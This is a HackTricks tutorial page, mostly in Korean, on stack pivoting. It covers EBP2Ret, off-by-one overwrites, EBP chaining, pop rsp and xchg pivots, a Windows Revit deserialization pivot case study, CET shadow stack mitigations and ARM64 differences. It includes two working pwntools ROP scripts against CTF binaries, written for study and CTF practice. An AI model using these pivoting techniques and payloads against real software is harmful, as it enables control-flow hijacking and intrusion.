Stack Pivoting
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
기본 정보
이 기법은 프레임 포인터와 leave; ret 명령 시퀀스를 신중하게 이용하여 Base Pointer (EBP/RBP) 를 조작함으로써 여러 함수의 실행을 연쇄시키는 것을 이용한다.
참고로, x86/x86-64에서 leave 는 다음과 같다:
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
그리고 저장된 EBP/RBP가 저장된 EIP/RIP보다 스택에 먼저 위치하므로, 스택을 제어함으로써 이를 제어할 수 있다.
참고
- 64-bit 환경에서는 EBP→RBP 및 ESP→RSP로 치환하면 된다. 의미는 동일하다.
- 일부 컴파일러는 frame pointer를 생략한다(“EBP might not be used” 참조). 이 경우
leave가 없을 수 있어 이 기법은 동작하지 않는다.
EBP2Ret
이 기법은 저장된 EBP/RBP를 변경할 수 있지만 EIP/RIP를 직접 변경할 방법이 없을 때 특히 유용하다. 함수의 epilogue 동작을 이용한다.
만약 fvuln 실행 중에 스택에 공격자가 조작한 fake EBP를 주입하여 그 값이 shellcode/ROP 체인의 주소가 있는 메모리 영역을 가리키게(amd64에서는 pop 때문에 +8바이트, x86에서는 +4바이트) 한다면, RIP를 간접적으로 제어할 수 있다. 함수가 반환할 때 leave는 RSP를 조작된 위치로 설정하고 이어지는 pop rbp는 RSP를 감소시켜 결과적으로 RSP가 공격자가 그곳에 저장해둔 주소를 가리키게 된다. 이후 ret는 그 주소를 사용한다.
여기서 알아야 할 주소가 2개 있다는 점에 주의: ESP/RSP가 가리키게 될 주소, 그리고 ret가 소비할 해당 주소에 저장된 값.
익스플로잇 구성
먼저 임의의 데이터/주소를 쓸 수 있는 주소를 알아야 한다. RSP는 이곳을 가리키고 첫 번째 ret을 소비하게 된다.
그 다음 ret가 사용할 실행 이동용 주소를 선택해야 한다. 다음을 사용할 수 있다:
- 유효한 ONE_GADGET 주소.
- **
system()**의 주소와 그 뒤에 적절한 리턴과 인자들 (on x86:rettarget =&system, then 4 junk bytes, then&"/bin/sh"). jmp esp;gadget의 주소(ret2esp)와 그 뒤에 inline shellcode.- writable memory에 스테이징된 ROP 체인.
제어된 영역의 위의 주소들 앞에는 leave에서 수행되는 pop ebp/rbp를 위한 공간(amd64: 8B, x86: 4B)이 있어야 한다는 점을 기억하라. 이 바이트들을 악용해 두 번째 fake EBP를 설정하면 첫 번째 호출이 반환한 뒤에도 제어를 유지할 수 있다.
Off-By-One Exploit
There’s a variant used when you can only modify the least significant byte of the saved EBP/RBP. In such a case, the memory location storing the address to jump to with ret must share the first three/five bytes with the original EBP/RBP so a 1-byte overwrite can redirect it. Usually the low byte (offset 0x00) is increased to jump as far as possible within a nearby page/aligned region.
스택에 RET sled를 두고 실제 ROP 체인을 끝 부분에 놓아 새 RSP가 sled 내부를 가리킬 가능성을 높이고 최종 ROP 체인이 실행되게 하는 것이 흔하다.
EBP Chaining
스택의 저장된 EBP 슬롯에 제어된 주소를 넣고 EIP/RIP에 leave; ret gadget을 배치하면 ESP/RSP를 공격자가 제어하는 주소로 이동시키는 것이 가능하다.
이제 RSP가 제어되며 다음 명령은 ret이다. 제어된 메모리에는 다음과 같은 것을 배치한다:
&(next fake EBP)->leave의pop ebp/rbp에 의해 로드된다.&system()->ret에 의해 호출된다.&(leave;ret)->system종료 후 RSP를 다음 fake EBP로 이동시키고 계속된다.&("/bin/sh")->system의 인자.
이 방식으로 여러 개의 fake EBP를 체이닝하여 프로그램의 흐름을 제어할 수 있다.
이는 ret2lib과 유사하지만 더 복잡하며 극단적인 경우에만 유용하다.
또한, 이 기술을 사용해 stack leak으로 승리 함수를 호출하는 챌린지 예제가 있다. 다음은 그 페이지의 최종 페이로드이다:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
amd64 정렬 팁: System V ABI는 호출 지점에서 스택을 16바이트로 정렬할 것을 요구합니다. 체인이
system같은 함수를 호출한다면, 정렬을 유지하고movaps충돌을 피하기 위해 호출 전에 정렬 가젯(예:ret, 또는sub rsp, 8 ; ret)을 추가하세요.
EBP는 사용되지 않을 수 있다
As explained in this post, 바이너리가 일부 최적화로 컴파일되었거나 frame-pointer 생략으로 빌드된 경우, EBP/RBP never controls ESP/RSP. 따라서 EBP/RBP를 제어하여 동작하는 모든 익스플로잇은 실패할 것입니다. 프로로그/에필로그가 frame pointer에서 복원하지 않기 때문입니다.
- Not optimized / frame pointer used:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- 최적화됨 / 프레임 포인터 생략:
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
On amd64에서는 pop rbp ; ret를 leave ; ret 대신 자주 보게 됩니다. 하지만 frame pointer가 완전히 생략되면 rbp-based epilogue를 통해 pivot할 수 없습니다.
RSP를 제어하는 다른 방법
pop rsp gadget
In this page에서 이 기술을 사용한 예제를 찾을 수 있습니다. 해당 challenge에서는 2개의 특정 인자를 가진 함수를 호출해야 했고, pop rsp gadget가 있었으며 스택으로부터의 leak가 있었습니다:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg , rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
ret2esp 기술은 여기에서 확인하세요:
pivot gadgets 빠르게 찾기
선호하는 gadget finder를 사용해 고전적인 pivot primitives를 검색하세요:
leave ; ret함수나 라이브러리에서pop rsp/xchg rax, rsp ; retadd rsp, <imm> ; ret(또는 x86에서는add esp, <imm> ; ret)
예시:
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
Classic pivot staging pattern
견고한 pivot 전략으로 많은 CTFs/exploits에서 사용됨:
- 작은 initial overflow를 사용해
read/recv를 호출하여 큰 쓰기 가능한 영역(예:.bss, heap, 또는 mapped RW memory)으로 데이터를 받아 전체 ROP 체인을 그곳에 배치한다. - pivot gadget(
leave ; ret,pop rsp,xchg rax, rsp ; ret)으로 return하여 RSP를 해당 영역으로 이동시킨다. - staged chain을 이어간다(예: leak libc,
mprotect호출, 그 다음read로 shellcode를 읽고 해당 위치로 jump).
Windows: Destructor-loop weird-machine pivots (Revit RFA case study)
Client-side parsers는 때때로 destructor loops를 구현하여 attacker-controlled object fields에서 유도된 function pointer를 간접 호출한다. 각 반복(iteration)이 정확히 하나의 간접 호출(“one-gadget” machine)을 제공하면, 이를 신뢰할 수 있는 stack pivot 및 ROP entry로 변환할 수 있다.
Observed in Autodesk Revit RFA deserialization (CVE-2025-5037):
- Crafted objects of type
AString는 offset 0에 attacker bytes를 가리키는 포인터를 놓는다. - The destructor loop는 사실상 객체당 하나의 gadget을 실행한다:
rcx = [rbx] ; object pointer (AString*)
rax = [rcx] ; pointer to controlled buffer
call qword ptr [rax] ; execute [rax] once per object
두 가지 실용적인 pivots:
- Windows 10 (32-bit heap addrs): 비정렬된 “monster gadget”로,
8B E0→mov esp, eax를 포함하고 결국ret로 끝나 콜 프리미티브에서 힙 기반 ROP 체인으로 피벗합니다. - Windows 11 (full 64-bit addrs): 두 개의 오브젝트를 사용해 제약된 weird-machine pivot을 구동합니다:
- Gadget 1:
push rax ; pop rbp ; ret(원래 rax를 rbp로 이동) - Gadget 2:
leave ; ... ; ret(becomesmov rsp, rbp ; pop rbp ; ret), 첫 번째 오브젝트의 버퍼로 피벗하며 그곳에서 일반적인 ROP 체인이 이어집니다.
- Gadget 1:
Tips for Windows x64 after the pivot:
call지점 앞에서 0x20-byte shadow space를 존중하고 16-byte 정렬을 유지하세요. 리터럴을 리턴 주소 위에 배치하고lea rcx, [rsp+0x20] ; call rax같은 가젯 뒤에pop rax ; ret를 사용해 제어 흐름을 손상시키지 않고 스택 주소를 전달하는 것이 편리합니다.- Non-ASLR helper modules (if present)는 안정적인 가젯 풀과
LoadLibraryW/GetProcAddress같은 imports를 제공하여ucrtbase!system같은 타깃을 동적으로 해석할 수 있게 합니다. - writable thunk를 통해 누락된 가젯을 생성하기: 유망한 시퀀스가 writable 함수 포인터를 통한
call로 끝난다면(예: DLL import thunk 또는 .data의 함수 포인터), 해당 포인터를pop rax ; ret같은 무해한 단일 스텝으로 덮어쓰세요. 그러면 시퀀스는 마치ret로 끝난 것처럼 동작합니다(예:mov rdx, rsi ; mov rcx, rdi ; ret). 이는 다른 레지스터를 훼손하지 않고 Windows x64 인수 레지스터를 로드하는 데 매우 유용합니다.
전체 체인 구성 및 가젯 예시는 아래 참조를 보세요.
스택 피벗을 무력화하는 최신 완화 기술 (CET/Shadow Stack)
최신 x86 CPU와 OS들은 점점 더 **CET Shadow Stack (SHSTK)**을 도입하고 있습니다. SHSTK가 활성화되면 ret는 일반 스택의 복귀 주소를 하드웨어로 보호되는 섀도우 스택과 비교하며, 불일치가 있으면 Control-Protection fault가 발생하고 프로세스가 종료됩니다. 따라서 EBP2Ret/leave;ret 기반의 피벗 같은 기법은 피벗된 스택에서 첫 번째 ret이 실행되는 즉시 크래시합니다.
- For background and deeper details see:
- Linux에서의 빠른 점검:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
-
실습/CTF용 메모:
-
일부 최신 배포판은 하드웨어와 glibc 지원이 있을 때 CET 지원 바이너리에 대해 SHSTK를 활성화합니다. VM에서 제어된 테스트를 위해서는 커널 부팅 파라미터
nousershstk로 시스템 전체에서 SHSTK를 비활성화하거나, glibc tunables를 통해 시작 시 선택적으로 활성화할 수 있습니다(참조). 운영 환경의 대상에서는 완화책을 비활성화하지 마십시오. -
JOP/COOP 또는 SROP 기반 기법은 일부 대상에서 여전히 유효할 수 있지만, SHSTK는 특히
ret-based pivots를 무력화합니다. -
Windows note: Windows 10+는 user-mode에서 shadow stacks 기반 보호를 제공하며, Windows 11은 커널 모드의 “Hardware-enforced Stack Protection”을 추가합니다. CET 호환 프로세스는
ret에서의 stack pivoting/ROP를 방지합니다; 개발자는 CETCOMPAT 및 관련 정책을 통해 옵트인합니다(참조).
ARM64
In ARM64, the prologue and epilogues of the functions don’t store and retrieve the SP register in the stack. Moreover, the RET instruction doesn’t return to the address pointed by SP, but to the address inside x30.
Therefore, by default, just abusing the epilogue you won’t be able to control the SP register by overwriting some data inside the stack. And even if you manage to control the SP you would still need a way to control the x30 register.
- prologue
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP points to frame record
- epilogue
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
Caution
ARM64에서 stack pivoting과 유사한 동작을 수행하려면
SP를 제어할 수 있어야 합니다(어떤 레지스터의 값을SP에 전달하도록 그 레지스터를 제어하거나, 어떤 이유로SP가 스택에서 주소를 가져오고 그 지점에서 overflow가 발생하는 경우). 그런 다음 epilogue를 악용하여 제어된SP로부터x30레지스터를 로드하고RET하여 해당 주소로 복귀해야 합니다.
Also in the following page you can see the equivalent of Ret2esp in ARM64:
References
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64비트, ret sled로 시작하는 rop chain을 이용한 off-by-one 익스플로잇
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bit, no relro, canary, nx and pie. 프로그램은 stack 또는 pie에 대한 leak과 qword에 대한 WWW를 제공합니다. 먼저 stack leak을 얻고 WWW를 사용해 돌아가 pie leak을 얻습니다. 그런 다음 WWW를 사용해
.fini_array엔트리를 악용하고__libc_csu_fini를 호출해 영구적인 루프를 만듭니다 (더 보기). 이 “영구” 쓰기를 악용하여 .bss에 ROP 체인을 작성하고 RBP로 pivoting하여 결국 호출합니다. - Linux kernel documentation: Control-flow Enforcement Technology (CET) Shadow Stack — SHSTK,
nousershstk,/proc/$PID/status플래그 및arch_prctl을 통한 활성화 등에 대한 자세한 내용. https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET shadow stacks on Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
- Crafting a Full Exploit RCE from a Crash in Autodesk Revit RFA File Parsing (ZDI blog)
Tip
AWS 해킹 배우기 및 연습하기:
HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기:HackTricks Training GCP Red Team Expert (GRTE)
Azure 해킹 배우기 및 연습하기:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.


